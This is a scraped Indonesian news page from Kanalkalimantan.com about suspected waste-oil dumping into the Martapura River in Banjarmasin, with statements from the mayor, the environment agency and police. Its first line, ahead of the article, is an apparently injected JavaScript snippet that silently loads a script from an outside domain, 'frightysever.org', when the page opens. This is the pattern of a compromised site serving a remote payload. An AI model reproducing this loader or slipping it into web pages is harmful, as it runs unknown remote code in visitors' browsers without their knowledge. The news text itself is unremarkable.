(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kota Banjarmasin

Polemik Pencemaran Sungai Martapura, Walikota Ibnu Akui Kecolongan!


KANALKALIMANTAN.COM, BANJARMASIN – Dugaan pencemaran Sungai Martapura dengan cara pembuangan limbah oli yang merupakan limbah B3 (bahan beracun dan berbahaya) menjadi perhatian serius Walikota Banjarmasin H Ibnu Sina.

Ditemui di Balaikota Banjarmasin pada Senin (13/01/2020) siang, Ibnu Sina mengatakan, kasus dugaan pencemaran ini telah ditangani oleh Dit Reskrimsus Polda Kalsel. Setelah sebelumnya pada Kamis (09/01/2020) kemarin telah diambil 5 sampel sebagai barang bukti.

Selain itu, Ibnu juga mengakui Pemko Banjarmasin telah kecolongan dengan temuan dugaan pembuangan limbah B3 ke Sungai Martapura. Apalagi, lokasinya dekat sekali dengan dermaga Pasar Terapung Siring Tendean Banjarmasin.

“Karena itu sangat mencemari lingkungan, apalagi itu di dekat lokai wisata. Waduh, kecolongan kita,” kata Ibnu saat ditemui Kanalkalimantan.com.

Apalagi, menurut Ibnu, sumber pembuangan limbah B3 berasal dari sebuah rumah tua di pinggir jalan Kapten Pierre Tendean. Diketahui, oli tersebut ditampung terlebih dahulu di halaman belakang rumah itu. “Kaget saya itu. Makanya saya langsunh konfirmasi ke Kadis LH (Mukhyar) dan memang benar,” tambah Ibnu.

Ibnu pun berharap, agar dugaan pencemaran lingkungan ini dapat diproses penanganannya. Selain itu, dirinya meminta agar lokasi sekitar pencemaran tersebut untuk dilokalisir. “(Perlu) dilokalisir supaya tidak menimbulkan dampak pencemaran yang berat bagi sungai-sungai kita,” tandas Ibnu.

Diberitakan sebelumnya, Dinas Lingkungan Hidup (DLH) Kota Banjarmasin membidik adanya dugaan pencemaran Sungai Martapura dengan cara pembuangan limbah B3. “Laporan masuk hari Sabtu sore dari masyarakat, bahwa di siring ada rembesan oli masuk ke sungai. Itu ketahuannya saat pasang naik ke lanting, nah saat surut lanting jadi licin. Ternyata ada ceceran oli,” kata Kadis LH Kota Banjarmasin Mukhyar.

Bahkan, dugaan pencemaran lingkungan ini telah ditangani oleh kepolisian melalui Subdit IV Tipiter Dit Reskrimsus Polda Kalsel, dengan mengambil 5 sampel di lokasi yang berbeda. “Kami melakukan tindakan terhadap sebuah rumah yang diduga melakukan penimbunan dan pembuangan ke Sungai Martapura,” kata Kompol Ajie Lukman Hidayat, Kanit I Subdit IV Tipiter Dit Reskrimsus Polda Kalsel.

Kompol Ajie memaparkan, penyelidikan telah dilakukan sejak kemarin yaitu Rabu (08/01/2020) dan pihaknya juga telah menaikkan statusnya pada tahap penyidikan. “Saat ini untuk pengambilan sampel untuk proses penyidikan sudah kami lakukan bersama-sama dengan DLH dan pemangku wilayah dan juga pihak terlapor,” jelas Kompol Ajie. (Kanalkalimantan.com/fikri)

Reporter : Kanalkalimantan.com/Fikri
Editor : Chell


Desy Arfianty

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

5 bulan ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

5 bulan ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

5 bulan ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

5 bulan ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

5 bulan ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

5 bulan ago

This website uses cookies.